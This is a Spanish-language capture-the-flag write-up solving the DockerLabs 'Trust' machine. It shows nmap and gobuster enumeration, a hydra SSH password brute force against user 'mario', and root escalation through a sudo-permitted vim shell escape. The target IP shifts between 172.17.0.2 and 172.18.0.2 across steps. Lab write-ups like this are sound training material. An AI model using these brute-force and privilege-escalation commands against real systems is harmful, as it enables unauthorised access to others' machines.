Trust
Introducción
Sección titulada «Introducción»En este artículo, explicaré cómo resolví el CTF de la máquina virtual Trust. Describo paso a paso las técnicas y herramientas utilizadas para encontrar y explotar las vulnerabilidades presentes.
Información de la Máquina Virtual
Sección titulada «Información de la Máquina Virtual»- Nombre: Trust
- Autor: El Pingüino de Mario
- Nivel de Dificultad: Muy Fácil
- Fecha de creación: 02/04/2024
Paso 0: Instalación/Despliegue
Sección titulada «Paso 0: Instalación/Despliegue»-
Descargamos la máquina desde la web de DockerLabs.
-
Descomprimimos el
.zip:Ventana de terminal unzip trust.zip
-
Ejecutamos el script de despliegue:
Ventana de terminal sudo bash auto_deplo.sh trust.tar
Paso 1: Reconocimiento
Sección titulada «Paso 1: Reconocimiento»Escaneo de la Red
Sección titulada «Escaneo de la Red»Al desplegar la máquina, se muestra su dirección IP directamente, por lo que evitamos el escaneo por ARP.

Creamos una carpeta para organizar los recursos del CTF:
mkdir Trustcd Trustmkt # Crea las carpetas: content, exploits, nmap y scriptsEscaneo de Puertos
Sección titulada «Escaneo de Puertos»Ejecutamos un escaneo completo para identificar los puertos abiertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos del archivo generado:
extractPorts allPorts
Realizamos un escaneo más detallado de servicios en el puerto 80:
nmap -sCV -p80 172.17.0.2 -oN targetedResultado:

Enumeración de Servicios
Sección titulada «Enumeración de Servicios»Enumeramos los directorios accesibles desde el servidor web:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt -t 200Resultados:

Descubrimos un archivo interesante: secret.php. Al acceder desde el navegador, vemos el siguiente mensaje que revela un posible nombre de usuario:

Paso 2: Explotación
Sección titulada «Paso 2: Explotación»Con el nombre de usuario identificado (mario), probamos fuerza bruta en el servicio SSH:
hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.2 -t 4
Obtenemos la contraseña correcta para mario. Ya podemos ingresar por SSH:
ssh mario@172.18.0.2Elevación de Privilegios
Sección titulada «Elevación de Privilegios»Verificamos qué comandos puede ejecutar mario como superusuario:
sudo -l
Observamos que puede ejecutar vim como cualquier usuario. Consultamos GTFOBins con searchbins:
searchbins -b vim -f sudoEjecutamos el binario con privilegios:
sudo vim -c ':!/bin/sh'Con esto obtenemos una shell como root:

Conclusión
Sección titulada «Conclusión»La máquina cumplió con el nivel de dificultad anunciado. Fue una excelente práctica para el reconocimiento inicial, fuerza bruta por SSH y escalada de privilegios mediante binarios vulnerables. Herramientas como nmap, gobuster, hydra y searchbins fueron clave en el proceso.